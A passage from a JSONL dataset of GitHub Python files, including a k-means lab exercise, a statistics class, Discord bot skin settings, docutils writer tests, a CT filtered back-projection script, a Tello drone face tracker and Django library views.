np.sqrt(np.sum((point1 - point2) ** 2))\r\n\r\n def assign_clusters(self, data, centroids):\r\n clusters = [[] for _ in range(self.k)]\r\n\r\n for point in data:\r\n distances = [self.calculate_distance(point, centroid) for centroid in centroids]\r\n cluster_index = np.argmin(distances)\r\n clusters[cluster_index].append(point)\r\n\r\n return clusters\r\n\r\n def update_centroids(self, clusters):\r\n centroids = []\r\n for cluster in clusters:\r\n centroids.append(np.mean(cluster, axis=0))\r\n return np.array(centroids)\r\n\r\n def train(self, data, initial_centroids):\r\n centroids = initial_centroids\r\n\r\n while True:\r\n clusters = self.assign_clusters(data, centroids)\r\n new_centroids = self.update_centroids(clusters)\r\n\r\n if np.array_equal(new_centroids, centroids):\r\n break\r\n\r\n centroids = new_centroids\r\n\r\n return clusters\r\n\r\n# User interface for testing\r\ndef test_kmeans_clustering():\r\n # Data set\r\n data = np.array([\r\n [3.45],\r\n [3.78],\r\n [2.98],\r\n [3.24],\r\n [4.0],\r\n [3.9]\r\n ])\r\n\r\n # Initial centroids\r\n initial_centroids = np.array([\r\n [3.45],\r\n [2.98],\r\n [4.0]\r\n ])\r\n\r\n # Create a K-means clustering object with k=3\r\n kmeans = KMeansClustering(k=3)\r\n\r\n # Train the K-means clustering algorithm\r\n clusters = kmeans.train(data, initial_centroids)\r\n\r\n # Print the final clusters\r\n print(\"Final Clusters:\")\r\n for i, cluster in enumerate(clusters):\r\n print(f\"Cluster {i+1}: {cluster}\")\r\n\r\n # Test the K-means clustering with user input\r\n while True:\r\n cgpa = float(input(\"Enter the CGPA: \"))\r\n\r\n point = np.array([cgpa])\r\n\r\n distances = [kmeans.calculate_distance(point, centroid) for centroid in initial_centroids]\r\n cluster_index = np.argmin(distances)\r\n\r\n print(f\"The student belongs to Cluster {cluster_index + 1}\")\r\n\r\n choice = input(\"Do you want to test another student? (y/n): \")\r\n if choice.lower() != 'y':\r\n break\r\n\r\n# Run the K-means clustering algorithm\r\ntest_kmeans_clustering()\r\n","repo_name":"Mosharat/Machine-learning-lab","sub_path":"8kmeans.py","file_name":"8kmeans.py","file_ext":"py","file_size_in_byte":2406,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5572880210","text":"# -*- coding: utf-8 -*-\n\n''' Universidade Federal do Parana - CM\n Engenharia de Software 02\n Renan Kodama Rodrigues 1602098\n'''\n\nimport decimal\nimport math\nimport collections\nimport sys\n\n\nclass Calc:\n def __init__(self, hasMap):\n self.hasMap = hasMap\n self.total_LogaritmoXY = decimal.Decimal(0)\n self.total_LogaritmoXY_AVG = decimal.Decimal(0)\n self.avg = decimal.Decimal(0)\n self.variancia = decimal.Decimal(0)\n self.desvioPadrao = decimal.Decimal(0)\n self.faixasLOG = collections.OrderedDict()\n self.faixasNORM = collections.OrderedDict()\n\n def inicializar(self):\n self.divisao_XY()\n self.logaritmo_X_por_Y_Media()\n self.calcular_Variancia()\n self.calcular_DesvioPadrao()\n self.calcular_Faixas_Log()\n self.calcular_Faixas_Normal()\n self.ver_resultados()\n return(self.faixasNORM)\n\n def divisao_XY(self):\n if len(self.hasMap.keys()) == 2:\n self.hasMap[\"Dx\"] = []\n key_short = list(self.hasMap.keys())[1]\n for valores in self.hasMap[key_short]:\n self.hasMap[\"Dx\"].append(decimal.Decimal(valores))\n\n elif len(self.hasMap.keys()) == 3:\n self.hasMap[\"Dx\"] = []\n key1 = list(self.hasMap.keys())[1]\n key2 = list(self.hasMap.keys())[2]\n v1_aux = []\n v2_aux = []\n\n for valores in self.hasMap[key1]:\n v1_aux.append(decimal.Decimal(valores))\n\n for valores in self.hasMap[key2]:\n v2_aux.append(decimal.Decimal(valores))\n\n for i in range(len(v1_aux)):\n self.hasMap[\"Dx\"].append(decimal.Decimal(v1_aux[i] / v2_aux[i]))\n\n else:\n self.hasMap[\"Dx\"] = []\n print(\"Muitas Colunas! Selecione uma para os Cálculos\")\n key_input = str(input(\"Nome da coluna: \")).strip()\n\n if self.hasMap.__contains__(key_input):\n for valores in self.hasMap[key_input]:\n self.hasMap[\"Dx\"].append(decimal.Decimal(valores))\n else:\n print(\"Coluna não Encontrada!\")\n\n def logaritmo_X_por_Y_Media(self):\n self.hasMap[\"lg(Dxy)\"] = []\n v1Log_aux = []\n\n for valores in self.hasMap[\"Dx\"]:\n v1Log_aux.append(valores)\n\n for i in range(len(v1Log_aux)):\n valor = v1Log_aux[i]\n self.hasMap[\"lg(Dxy)\"].append(decimal.Decimal(math.log(valor, math.e)))\n\n for valores in self.hasMap[\"lg(Dxy)\"]:\n self.total_LogaritmoXY += valores\n\n self.avg = decimal.Decimal(self.total_LogaritmoXY / len(self.hasMap[\"lg(Dxy)\"]))\n\n def calcular_Variancia(self):\n self.hasMap[\"(ln(x)-avg)²\"] = []\n\n for valores in self.hasMap[\"lg(Dxy)\"]:\n self.hasMap[\"(ln(x)-avg)²\"].append(decimal.Decimal(math.pow((valores-self.avg), 2)))\n\n for valores in self.hasMap[\"(ln(x)-avg)²\"]:\n self.total_LogaritmoXY_AVG += valores\n\n self.variancia = self.total_LogaritmoXY_AVG / (len(self.hasMap[\"(ln(x)-avg)²\"]) - 1)\n\n def calcular_Faixas_Log(self):\n self.faixasLOG[\"ln(PP)\"] = decimal.Decimal(self.avg - (2*self.desvioPadrao))\n self.faixasLOG[\"ln(P)\"] = decimal.Decimal(self.avg - (self.desvioPadrao))\n self.faixasLOG[\"ln(M)\"] = decimal.Decimal(self.avg)\n self.faixasLOG[\"ln(G)\"] = decimal.Decimal(self.avg + self.desvioPadrao)\n self.faixasLOG[\"ln(GG)\"] = decimal.Decimal(self.avg + (2*self.desvioPadrao))\n\n def calcular_Faixas_Normal(self):\n self.faixasNORM[\"PP\"] = (decimal.Decimal(math.e)) ** self.faixasLOG[\"ln(PP)\"]\n self.faixasNORM[\"P\"] = (decimal.Decimal(math.e)) ** self.faixasLOG[\"ln(P)\"]\n self.faixasNORM[\"M\"] = (decimal.Decimal(math.e)) ** self.faixasLOG[\"ln(M)\"]\n self.faixasNORM[\"G\"] = (decimal.Decimal(math.e)) ** self.faixasLOG[\"ln(G)\"]\n self.faixasNORM[\"GG\"] = (decimal.Decimal(math.e)) ** self.faixasLOG[\"ln(GG)\"]\n\n def calcular_DesvioPadrao(self):\n self.desvioPadrao = decimal.Decimal(math.pow(self.variancia, 0.5))\n\n def ver_Faixas(self, hashMap):\n print(\"\\nFaixas: \")\n for key in hashMap.keys():\n print(\"\\tColuna <{}>: \\t {}\".format(key, hashMap[key]))\n\n def ver_resultados(self):\n print(\"Total Log: {}\".format(self.total_LogaritmoXY))\n print(\"Media Log: {}\".format(self.total_LogaritmoXY_AVG))\n print(\"Média M: {}\".format(self.avg))\n print(\"Variância: {}\".format(self.variancia))\n print(\"Desvio Padrão: {}\".format(self.desvioPadrao))\n self.ver_Faixas(self.faixasLOG)\n self.ver_Faixas(self.faixasNORM)\n","repo_name":"RenanKodama/Engenharia_Software_02","sub_path":"Programa04 (Python)/ClassCalcs.py","file_name":"ClassCalcs.py","file_ext":"py","file_size_in_byte":4676,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26633043536","text":"from typing import Literal, Optional\nfrom enum import Enum\n\nfrom discord.ui import TextInput\n\nfrom meta import LionBot\nfrom meta.errors import UserInputError\nfrom babel.translator import LazyStr\nfrom gui.base import Card, FieldDesc, AppSkin\n\nfrom .. import babel\nfrom ..skinlib import CustomSkin\n\n_p = babel._p\n\n\nclass SettingInputType(Enum):\n SkinInput = -1\n ModalInput = 0\n MenuInput = 1\n ButtonInput = 2\n\n\nclass Setting:\n \"\"\"\n An abstract base interface for a custom skin 'setting'.\n\n A skin setting is considered to be some readable and usually writeable\n information extractable from a `CustomSkin`.\n This will usually consist of the value of one or more properties,\n which are themselves associated to fields of GUI Cards.\n\n The methods in this ABC describe the interface for such a setting.\n Each method accepts a `CustomSkin`,\n and an implementation should describe how to\n get, set, parse, format, or display the setting\n for that given skin.\n\n This is very similar to how Settings are implemented in the bot,\n except here all settings have a shared external source of state, the CustomSkin.\n Thus, each setting is simply an instance of an appropriate setting class,\n rather than a class itself.\n \"\"\"\n \n # What type of input method this setting requires for input\n input_type: SettingInputType = SettingInputType.ModalInput\n\n def __init__(self, *args, display_name, description, **kwargs):\n self.display_name: LazyStr = display_name\n self.description: LazyStr = description\n\n def default_value_in(self, skin: CustomSkin) -> Optional[str]:\n \"\"\"\n The default value of this setting in this skin.\n\n This takes into account base skin data and localisation.\n May be `None` if the setting does not have a default value.\n \"\"\"\n raise NotImplementedError\n\n def value_in(self, skin: CustomSkin) -> Optional[str]:\n \"\"\"\n The current value of this setting from this skin.\n\n May be None if the setting is not set or does not have a value.\n Usually should not take into account defaults.\n \"\"\"\n raise NotImplementedError\n\n def set_in(self, skin: CustomSkin, value: Optional[str]):\n \"\"\"\n Set this setting to the given value in this skin.\n \"\"\"\n raise NotImplementedError\n\n def format_value_in(self, skin: CustomSkin, value: Optional[str]) -> str:\n \"\"\"\n Format the given setting value for display (typically in a setting table).\n \"\"\"\n raise NotImplementedError\n\n async def parse_input(self, skin: CustomSkin, userstr: str) -> Optional[str]:\n \"\"\"\n Parse a user provided string into a value for this setting.\n\n Will raise 'UserInputError' with a readable message if parsing fails.\n \"\"\"\n raise NotImplementedError\n\n def make_input_field(self, skin: CustomSkin) -> TextInput:\n \"\"\"\n Create a TextInput field for this setting, using the current value.\n \"\"\"\n raise NotImplementedError\n\n\nclass PropertySetting(Setting):\n \"\"\"\n A skin setting corresponding to a single property of a single card.\n\n Note that this is still abstract,\n as it does not implement any formatting or parsing methods.\n\n This will usually (but may not always) correspond to a single Field of the card skin.\n \"\"\"\n def __init__(self, card: type[Card], property_name: str, **kwargs):\n super().__init__(**kwargs)\n self.card = card\n self.property_name = property_name\n\n @property\n def card_id(self):\n \"\"\"\n The `card_id` of the Card class this setting belongs to.\n \"\"\"\n return self.card.card_id\n\n @property\n def field(self) -> Optional[FieldDesc]:\n \"\"\"\n The CardSkin field overwrriten by this setting, if it exists.\n \"\"\"\n return self.card.skin._fields.get(self.property_name, None)\n\n def default_value_in(self, skin: CustomSkin) -> Optional[str]:\n \"\"\"\n For a PropertySetting, the default value is determined as follows:\n base skin value from:\n - card base skin\n - custom base skin\n - global app base skin\n fallback (field) value from the CardSkin\n \"\"\"\n base_skin = skin.get_prop(self.card_id, 'base_skin_id')\n base_skin = base_skin or skin.base_skin_name\n base_skin = base_skin or skin.cog.current_default\n\n app_skin_args = AppSkin.get(base_skin).for_card(self.card_id)\n\n if self.property_name in app_skin_args:\n return app_skin_args[self.property_name]\n elif self.field:\n return self.field.default\n else:\n return None\n\n def value_in(self, skin: CustomSkin) -> Optional[str]:\n return skin.get_prop(self.card_id, self.property_name)\n\n def set_in(self, skin: CustomSkin, value: Optional[str]):\n skin.set_prop(self.card_id, self.property_name, value)\n\n\nclass _ColourInterface(Setting):\n \"\"\"\n Skin setting mixin for parsing and formatting colour typed settings.\n \"\"\"\n\n def format_value_in(self, skin: CustomSkin, value: Optional[str]) -> str:\n if value:\n formatted = f\"`{value}`\"\n else:\n formatted = skin.bot.translator.t(_p(\n 'skinsettings|colours|format:not_set',\n \"Not Set\"\n ))\n return formatted\n\n async def parse_input(self, skin: CustomSkin, userstr: str) -> Optional[str]:\n stripped = userstr.strip('# ').upper()\n if not stripped:\n value = None\n elif len(stripped) not in (6, 8) or any(c not in '0123456789ABCDEF' for c in stripped):\n raise UserInputError(\n skin.bot.translator.t(_p(\n 'skinsettings|colours|parse|error:invalid',\n \"Could not parse `{given}` as a colour!\"\n \" Please use RGB/RGBA format (e.g. `#ABABABF0`).\"\n )).format(given=userstr)\n )\n else:\n value = f\"#{stripped}\"\n return value\n\n def make_input_field(self, skin: CustomSkin) -> TextInput:\n t = skin.bot.translator.t\n\n value = self.value_in(skin)\n default_value = self.default_value_in(skin)\n\n label = t(self.display_name)\n default = value\n if default_value:\n placeholder = f\"{default_value} ({t(self.description)})\"\n else:\n placeholder = t(self.description)\n\n return TextInput(\n label=label,\n placeholder=placeholder,\n default=default,\n min_length=0,\n max_length=9,\n required=False,\n )\n\n\nclass ColourSetting(_ColourInterface, PropertySetting):\n \"\"\"\n A Property skin setting representing a single colour field.\n \"\"\"\n pass\n\n\nclass SkinSetting(PropertySetting):\n \"\"\"\n A Property setting representing the base skin of a card.\n \"\"\"\n input_type = SettingInputType.SkinInput\n\n def format_value_in(self, skin: CustomSkin, value: Optional[str]) -> str:\n if value:\n app_skin = AppSkin.get(value)\n formatted = f\"`{app_skin.display_name}`\"\n else:\n formatted = skin.bot.translator.t(_p(\n 'skinsettings|base_skin|format:not_set',\n \"Default\"\n ))\n return formatted\n\n def default_value_in(self, skin: CustomSkin) -> Optional[str]:\n return skin.base_skin_name\n\n\nclass CompoundSetting(Setting):\n \"\"\"\n A Setting combining several PropertySettings across (potentially) multiple cards.\n \"\"\"\n NOTSHARED = ''\n\n def __init__(self, *settings: PropertySetting, **kwargs):\n super().__init__(**kwargs)\n self.settings = settings\n\n def default_value_in(self, skin: CustomSkin) -> Optional[str]:\n \"\"\"\n The default value of a CompoundSetting is the shared default of the component settings.\n\n If the components do not share a default value, returns None.\n \"\"\"\n value = None\n for setting in self.settings:\n setting_value = setting.default_value_in(skin)\n if setting_value is None:\n value = None\n break\n if value is None:\n value = setting_value\n elif value != setting_value:\n value = None\n break\n return value\n\n def value_in(self, skin: CustomSkin) -> Optional[str]:\n \"\"\"\n The value of a compound setting is the shared value of the components.\n \"\"\"\n value = self.NOTSHARED\n for setting in self.settings:\n setting_value = setting.value_in(skin) or setting.default_value_in(skin)\n\n if value is self.NOTSHARED:\n value = setting_value\n elif value != setting_value:\n value = self.NOTSHARED\n break\n return value\n\n def set_in(self, skin: CustomSkin, value: Optional[str]):\n \"\"\"\n Set all of the components individually.\n \"\"\"\n for setting in self.settings:\n setting.set_in(skin, value)\n\n\nclass ColoursSetting(_ColourInterface, CompoundSetting):\n \"\"\"\n Compound setting representing multiple colours.\n \"\"\"\n def format_value_in(self, skin: CustomSkin, value: Optional[str]) -> str:\n if value is self.NOTSHARED:\n return \"Mixed\"\n elif value is None:\n return \"Not Set\"\n else:\n return f\"`{value}`\"\n","repo_name":"StudyLions/StudyLion","sub_path":"src/modules/skins/editor/skinsetting.py","file_name":"skinsetting.py","file_ext":"py","file_size_in_byte":9556,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"7"} +{"seq_id":"34025486429","text":"import unittest\nfrom flucoma.doc.rst.scdoc import *\n \nfrom docutils.core import publish_parts\n\ntest_strings = {}\n\ntest_strings['footnote'] = [\n\"\"\"\\\nA footnote [#f1]_ appearing inline \n\n.. [#f1] fn text!\n\"\"\",\n\"A footnote FOOTNOTE::fn text!:: appearing inline\" \n]\n\ntest_strings['formatted_footnote'] = [\n\"\"\"\\\nA footnote [#f1]_ appearing inline \n\n.. [#f1] *fn* text!\n\"\"\",\n\"A footnote FOOTNOTE::EMPHASIS::fn:: text!:: appearing inline\" \n]\n\ntest_strings['literal_block'] = [\n\"\"\"Here is code\n::\n\n My code block is awesome\n\"\"\", \n\"\"\"Here is code\nCODE::\nMy code block is awesome\n::\"\"\"\n]\n\ntest_strings['bullet_list'] = [\n\"\"\"\\\nReasons my I'm beautiful:\n\n* my smell \n* my ears \n* my toes\n \n\"\"\", \n\"\"\"\\\nReasons my I'm beautiful:\nLIST::\n## my smell\n## my ears\n## my toes\n::\"\"\"\n]\n\ntest_strings['def_list'] = [\nr\"\"\"Reasons my I'm beautiful:\n\nmy smell \n is fragant\n\nmy ears \n these are also fragant\n\nmy toes\n are just pretty \n \n\"\"\", \nr\"\"\"Reasons my I'm beautiful:\nDEFINITIONLIST::\n## my smell\n|| is fragant\n## my ears\n|| these are also fragant\n## my toes\n|| are just pretty\n::\"\"\"\n]\n\ntest_strings['number_list'] = [\nr\"\"\"Reasons my I'm beautiful:\n\n1. my smell \n2. my ears \n#. my toes\n \n\"\"\", \nr\"\"\"Reasons my I'm beautiful:\nNUMBEREDLIST::\n## my smell\n## my ears\n## my toes\n::\"\"\"\n]\n\ntest_strings['table'] = [\n\"\"\"\\\n.. table::\n :align: right\n\n +-----+-----+\n | 1 | 2 |\n +-----+-----+\n | 3 | 4 |\n +-----+-----+\n\"\"\",\n\"\"\"\nTABLE::\n## 1 || 2\n## 3 || 4\n::\"\"\"\n]\n\nclass TestRst2SCDoc(unittest.TestCase):\n \n def render(self,s):\n return publish_parts(source=s, writer=SCDocWriter())['whole']\n \n def test_text(self):\n self.assertEqual(\"Lorem ipsum\", self.render(\"Lorem ipsum\"))\n\n def test_comment(self):\n str =\"Testing Comment\\n\\n.. This Should Go\"\n \n self.assertEqual(\"Testing Comment\", self.render(str))\n \n # \n # def test_docinfo_item(self, node, name):\n # raise nodes.SkipNode\n # \n def test_emphasis(self): \n str = 'You *have* to be kidding'\n res = 'You EMPHASIS::have:: to be kidding'\n self.assertEqual(res,self.render(str))\n \n def test_strong(self):\n str = 'You **have** to be kidding'\n res = 'You STRONG::have:: to be kidding'\n self.assertEqual(res,self.render(str))\n \n def test_note(self):\n str = \".. note:: A Noteworthy thing\"\n res = \"NOTE::A Noteworthy thing::\"\n self.assertEqual(res,self.render(str))\n \n def test_warning(self):\n str = \".. warning:: From history\"\n res = \"WARNING::From history::\"\n self.assertEqual(res,self.render(str))\n \n def test_footnote(self):\n str = test_strings['footnote'][0]\n res = test_strings['footnote'][1]\n self.assertEqual(res,self.render(str))\n \n def test_formattedfootnote(self):\n str = test_strings['formatted_footnote'][0]\n res = test_strings['formatted_footnote'][1]\n self.assertEqual(res,self.render(str))\n\n def test_literal(self):\n token = 'my code is awesome'\n str = f'``{token}``'\n res = f'CODE::{token}::'\n self.assertEqual(res,self.render(str))\n\n def test_literal_block(self):\n str = test_strings['literal_block'][0]\n res = test_strings['literal_block'][1]\n self.assertEqual(res,self.render(str))\n \n def test_bullet_list(self):\n str = test_strings['bullet_list'][0]\n res = test_strings['bullet_list'][1].replace(\"\\xa0\", \" \")\n self.assertEqual(res,self.render(str))\n\n def test_definition_list(self):\n str = test_strings['def_list'][0]\n res = test_strings['def_list'][1]\n self.assertEqual(res,self.render(str))\n \n def test_enumerated_list(self):\n str = test_strings['number_list'][0]\n res = test_strings['number_list'][1]\n self.assertEqual(res,self.render(str)) \n\n def test_table(self):\n str = test_strings['table'][0]\n res = test_strings['table'][1]\n self.assertEqual(res,self.render(str)) \n\n \nif __name__ == '__main__':\n unittest.main() \n","repo_name":"flucoma/flucoma-docs","sub_path":"flucoma/doc/test/TestRst2SCDoc.py","file_name":"TestRst2SCDoc.py","file_ext":"py","file_size_in_byte":4449,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"7"} +{"seq_id":"73415441823","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport h5py\nimport matplotlib.pyplot as plt\nfrom scipy.io import loadmat\nfrom scipy.interpolate import interp2d\nfile = loadmat('../data/phantom256.mat')\n\nimg = file['imageAC']\nimg = np.array(img, dtype=float)\n\nfrom skimage.transform import radon, iradon\ntheta = np.arange(0, 180, 3)\nradonT = radon(img, theta, circle=False)\niradonT = iradon(radonT, theta, circle=False)\n\n\ndef foo(w, L):\n return np.abs(w)\n\n\ndef ramlak(w, L):\n tmp = np.abs(w)\n return tmp<=L\n\n\ndef shepplogan(w, L):\n tmp = np.abs(w)\n sin = np.divide(np.sin((np.pi*2/L)*w), (np.pi*2/L)*(w+1E-10))\n return np.multiply(sin, tmp<=L)\n\n\ndef lowpasscos(w, L):\n tmp = np.abs(w)\n cos = np.cos((np.pi*2/L)*w)\n return np.multiply(cos, tmp<=L)\n\n\ndef filteredbkp(radonTrans, filterfunc, theta, Lscale=1, override=False, Lval=1):\n dffts = np.fft.fft(radonTrans, axis=0)\n freqs = np.fft.fftfreq(radonTrans.shape[0])\n n = radonTrans.shape[0]\n wmax = None\n if n%2 == 0:\n wmax = n/2 - 1\n else:\n wmax = (n-1)/2\n wmax /= n\n L = Lscale*wmax\n if override:\n L = Lval\n filtereddffts = np.multiply(dffts, filterfunc(freqs, L).reshape(-1, 1))\n ifilteredfft = np.fft.ifft(filtereddffts, axis=0)\n return iradon(ifilteredfft, theta, circle=False)\n\n\nfig = plt.figure()\nimg1 = filteredbkp(radonT, ramlak, theta)\nax = fig.add_subplot(3, 3, 1)\nax.imshow(img1, cmap='gray')\nax.set_title('ramlak, W_max')\nimg1 = filteredbkp(radonT, shepplogan, theta)\nax = fig.add_subplot(3, 3, 2)\nax.imshow(img1, cmap='gray')\nax.set_title('shepp-logan, W_max')\nimg1 = filteredbkp(radonT, lowpasscos, theta)\nax = fig.add_subplot(3, 3, 3)\nax.imshow(img1, cmap='gray')\nax.set_title('low-pass, W_max')\nimg1 = filteredbkp(radonT, ramlak, theta, 0.5)\nax = fig.add_subplot(3, 3, 4)\nax.imshow(img1, cmap='gray')\nax.set_title('ramlak, W_max/2')\nimg1 = filteredbkp(radonT, shepplogan, theta, 0.5)\nax = fig.add_subplot(3, 3, 5)\nax.imshow(img1, cmap='gray')\nax.set_title('shepp-logan, W_max/2')\nimg1 = filteredbkp(radonT, lowpasscos, theta, 0.5)\nax = fig.add_subplot(3, 3, 6)\nax.imshow(img1, cmap='gray')\nax.set_title('low-pass, W_max/2')\nax = fig.add_subplot(3, 3, 7)\nax.imshow(img, cmap='gray')\nax.set_title('phantom(256)')\nax = fig.add_subplot(3, 3, 8)\nax.imshow(iradonT, cmap='gray')\nax.set_title('in-built')\nfig.set_size_inches(18.5, 10.5)\nplt.savefig('../results/allvals.png')\nplt.close()\n# https://stackoverflow.com/questions/17190649/how-to-obtain-a-gaussian-filter-in-python\n\n\ndef fspecial_gauss(size, sigma):\n \"\"\"Function to mimic the 'fspecial' gaussian MATLAB function\n \"\"\"\n x, y = np.mgrid[-size//2 + 1:size//2 + 1, -size//2 + 1:size//2 + 1]\n g = np.exp(-((x**2 + y**2)/(2.0*sigma**2)))\n return g/g.sum()\n\n# https://stackoverflow.com/questions/3731093/is-there-a-python-equivalent-of-matlabs-conv2-function\n\n\nfrom scipy.signal import convolve2d\n\n\ndef conv2(x, y, mode='same'):\n return np.rot90(convolve2d(np.rot90(x, 2), np.rot90(y, 2), mode=mode), 2)\n\n\ns0 = img\ns1 = conv2(img, fspecial_gauss(11, 1))\ns5 = conv2(img, fspecial_gauss(51, 5))\nradon0 = radon(s0, theta, circle=False)\nradon1 = radon(s1, theta, circle=False)\nradon5 = radon(s5, theta, circle=False)\nr0 = filteredbkp(radon0, ramlak, theta)\nr1 = filteredbkp(radon1, ramlak, theta)\nr5 = filteredbkp(radon5, ramlak, theta)\n\n\ndef RRMSE(A, B):\n # Always use noiseless image as A\n # Aa = np.abs(A)\n return np.sqrt(np.sum(np.square(A - B))) / np.sqrt(np.sum(np.square(A)))\n\n\nfig = plt.figure()\nax = fig.add_subplot(3, 2, 1)\nax.imshow(s0, cmap='gray')\nax.set_title('S0')\nax = fig.add_subplot(3, 2, 2)\nax.imshow(r0, cmap='gray')\nax.set_title('R0, RRMSE: %0.4f' % RRMSE(s0, r0))\n\nax = fig.add_subplot(3, 2, 3)\nax.imshow(s1, cmap='gray')\nax.set_title('S1')\nax = fig.add_subplot(3, 2, 4)\nax.imshow(r1, cmap='gray')\nax.set_title('R1, RRMSE: %0.4f' % RRMSE(s1, r1))\n\nax = fig.add_subplot(3, 2, 5)\nax.imshow(s5, cmap='gray')\nax.set_title('S5')\nax = fig.add_subplot(3, 2, 6)\nax.imshow(r5, cmap='gray')\nax.set_title('R5, RRMSE: %0.4f' % RRMSE(s5, r5))\nfig.set_size_inches(15, 11)\nplt.savefig('../results/filteredBackProjections.png')\nplt.close()\nn = radonT.shape[0]\nwmax = None\nif n%2 == 0:\n wmax = n//2 - 1\nelse:\n wmax = (n-1)//2\n \nvals0 = []\nvals1 = []\nvals5 = []\nLs = np.arange(1, wmax+1) / n \nfor i in Ls:\n rt0 = filteredbkp(radon0, ramlak, theta, 1, True, i)\n rt1 = filteredbkp(radon1, ramlak, theta, 1, True, i)\n rt5 = filteredbkp(radon5, ramlak, theta, 1, True, i)\n vals0.append(RRMSE(s0, rt0))\n vals1.append(RRMSE(s1, rt1))\n vals5.append(RRMSE(s5, rt5))\n \nfig = plt.figure()\nax = fig.add_subplot(2, 2, 1)\nax.plot(Ls, vals0)\nax = fig.add_subplot(2, 2, 2)\nax.plot(Ls, vals1)\nax = fig.add_subplot(2, 2, 3)\nax.plot(Ls, vals5)\nplt.savefig('../results/allplots.png')\nplt.close()\n","repo_name":"ArjitJ/Medical-Imaging","sub_path":"Radon Transform and Reconstruction/Filtered BackProjection/code/filteredBackProjection.py","file_name":"filteredBackProjection.py","file_ext":"py","file_size_in_byte":4826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"26644048414","text":"from djitellopy import tello\nfrom simple_pid import PID\nfrom threading import Thread\nfrom queue import Queue\nimport time\nimport cv2\n\n# queue's\nimgQueue = Queue(2)\nfaceQueue = Queue()\ntrackQueue = Queue()\n\n# init drone\ndrone = tello.Tello()\ndrone.connect()\ndrone.streamon()\n\n# check battery\nprint(f\"Battery level: {drone.get_battery()}%\")\n\n# constants\nimg_w, img_h = 480, 360\nset_point_x = img_w // 2\nset_point_y = img_h // 2\nset_point_z = (img_w * img_h) // 12\n\n# detector\ndetector = cv2.CascadeClassifier('models/haarcascade_frontalface_default.xml')\n\n# PIDs\npid_x = PID(-2, -0.2, -0.1, setpoint=set_point_x, sample_time = None)\npid_y = PID(1, 0.1, 0.1, setpoint=set_point_y, sample_time = None)\npid_z = PID(1, 0.1, 0.1, setpoint=set_point_z, sample_time = None)\n\npid_x.output_limits = (-100, 100)\npid_y.output_limits = (-100, 100)\npid_z.output_limits = (-100, 100)\n\n### THREADS ###\nrunning = True\n\ndef getImg(drone, imgQueue):\n while running:\n imgQueue.put(drone.get_frame_read().frame)\n\ndef findFace(imgQueue, faceQueue):\n\n while running:\n \n img = imgQueue.get()\n img = cv2.resize(img, (img_w, img_h))\n grayScaled = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n faces = detector.detectMultiScale(grayScaled, 1.1, 4)\n\n faceList = []\n areaList = []\n\n for (x, y, w, h) in faces:\n \n cx = x + w // 2\n cy = y + h // 2\n area = w * h\n\n # face\n cv2.rectangle(img, (x, y), (x + w, y + h), (0, 0, 255), 2)\n cv2.circle(img, (cx, cy), 5, (0, 255, 0), cv2.FILLED)\n\n # drone target\n cv2.circle(img, (img_w//2, img_h//2), 10, (255, 0, 0), cv2.FILLED)\n cv2.line(img, (cx, cy), (img_w//2, img_h//2), (255, 0, 0), 2)\n\n faceList.append([cx, cy])\n areaList.append(area)\n\n if len(faceList) != 0:\n i = areaList.index(max(areaList)) # pick face closest to drone for tracking\n faceQueue.put((img, {'x': faceList[i][0], 'y': faceList[i][1], 'z': areaList[i]}))\n\n else:\n faceQueue.put((img, None))\n\ndef trackFace(faceQueue, trackQueue): \n\n while running:\n\n data = faceQueue.get()\n img = data[0]\n errors = data[1]\n\n if errors != None:\n error_x = errors['x']\n error_y = errors['y']\n\n speed_x = int(pid_x(error_x))\n speed_y = int(pid_y(error_y))\n speed_z = -int(pid_z(errors['z']))\n\n trackQueue.put((img, (speed_x, speed_y, speed_z)))\n else:\n trackQueue.put((img, None))\n\nThread(target=getImg, args=(drone, imgQueue), name=\"Image Thread\", daemon=True).start()\nThread(target=findFace, args=(imgQueue, faceQueue), name=\"Face Decection Thread\", daemon=True).start()\nThread(target=trackFace, args=(faceQueue, trackQueue), name=\"PID Thread\", daemon=True).start()\n\n### THREADS ###\n\n# start drone\ndrone.takeoff()\n\ntry:\n while True:\n\n pTime = time.time()\n data = trackQueue.get()\n img = data[0]\n speeds = data[1]\n\n if speeds:\n drone.send_rc_control(0, 0, speeds[1], speeds[0])\n print(f\"Speeds: {speeds}\")\n else:\n drone.send_rc_control(0, 0, 0, 0)\n pass\n\n try:\n fps = int(1 / (time.time() - pTime))\n except ZeroDivisionError:\n fps = \"999+\"\n\n cv2.putText(img, f\"{fps} fps\", (10, 30), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 1)\n\n cv2.imshow(\"Stream\", img)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n drone.land()\n\n running = False\n cv2.destroyAllWindows()\n break\n\nexcept KeyboardInterrupt:\n drone.land()\n\n running = False\n cv2.destroyAllWindows()","repo_name":"Tuur123/ResearchProject","sub_path":"tracking/facetracker.py","file_name":"facetracker.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"16260010884","text":"from django.shortcuts import render,redirect\nfrom .models import Book, Tag, Author\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom .forms import BookForm\n\n\ndef index(req):\n vals = {}\n try:\n books = Book.objects.all()\n tags = Tag.objects.all()\n authors = Author.objects.all()\n vals.update({\n 'books': books,\n 'tags': tags,\n 'authors': authors,\n 'selected_tag': False\n })\n except ObjectDoesNotExist:\n pass\n\n return render(req, \"library/index.html\", vals)\n\n\ndef singleBook(req, slug):\n vals = {}\n try:\n selected_book = Book.objects.get(slug=slug)\n vals.update({\n 'book': selected_book,\n 'tags': selected_book.tag_ids.all()\n })\n except ObjectDoesNotExist:\n pass\n return render(req, \"library/single-book.html\", vals)\n\n\ndef createBook(req):\n form = BookForm()\n if req.method == 'POST':\n form = BookForm(req.POST)\n if form.is_valid():\n form.save()\n return redirect('all-books')\n\n vals = {\n 'form': form,\n 